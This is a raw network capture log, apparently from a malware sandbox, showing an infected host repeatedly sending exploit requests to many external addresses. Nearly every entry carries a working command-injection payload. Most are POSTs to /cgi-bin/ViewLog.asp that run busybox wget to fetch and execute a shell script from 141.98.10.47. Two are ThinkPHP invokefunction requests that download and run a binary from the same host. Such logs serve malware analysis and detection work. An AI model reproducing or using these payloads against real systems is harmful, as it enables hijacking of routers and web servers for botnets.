Dec 26, 2023 21:26:11.845356941 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
340	192.168.2.23	37506	31.136.100.71	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:31.120935917 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:34.322957039 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:40.466104031 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:52.496403933 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:16.557044029 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:26:05.702213049 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
341	192.168.2.23	33610	94.120.250.8	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:31.143610001 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
342	192.168.2.23	51094	112.221.212.165	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:31.480998993 CET	236	IN	HTTP/1.0 400 Bad Request Content-type: text/html Date: Tue, 26 Dec 2023 20:24:31 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 55 6e 73 75 70 70 6f 72 74 65 64 20 6d 65 74 68 6f 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Unsupported method</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
343	192.168.2.23	47674	95.136.29.122	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:32.664896011 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:34.003019094 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:34.262041092 CET	376	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Dec 2023 20:24:32 GMT Server: DNVRS-Webs Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
344	192.168.2.23	33616	94.79.103.169	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:32.693825960 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
345	192.168.2.23	48654	94.123.241.104	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:33.002091885 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
346	192.168.2.23	42680	95.85.49.175	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:33.230257988 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
347	192.168.2.23	53704	31.136.100.190	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:33.237579107 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:34.003029108 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:35.538891077 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:38.674381018 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:44.817523003 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:57.103874922 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:22.700151920 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:26:11.845362902 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
348	192.168.2.23	49956	94.121.211.81	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:33.265237093 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:34.706911087 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:36.402678967 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:39.954160929 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:46.865187883 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:00.431282997 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:28.843405962 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
349	192.168.2.23	60862	62.170.7.41	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:33.270020008 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
350	192.168.2.23	41814	95.58.48.187	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:34.607665062 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:34.930013895 CET	29	IN	HTTP/1.1 200 OK
Dec 26, 2023 21:24:34.930099964 CET	515	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 Data Ascii: Connection: closePragma: no-cacheCache-Control: no-cacheContent-Type: text/html; charset=utf-8<!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www

Session ID	Source IP	Source Port	Destination IP	Destination Port
351	192.168.2.23	45264	95.101.158.179	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:34.799936056 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:35.309989929 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Tue, 26 Dec 2023 20:24:34 GMT Date: Tue, 26 Dec 2023 20:24:34 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 62 30 35 30 38 63 34 66 26 23 34 36 3b 31 37 30 33 36 32 32 32 37 34 26 23 34 36 3b 66 30 34 31 39 64 33 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.b0508c4f.1703622274.f0419d3</BODY></HTML>

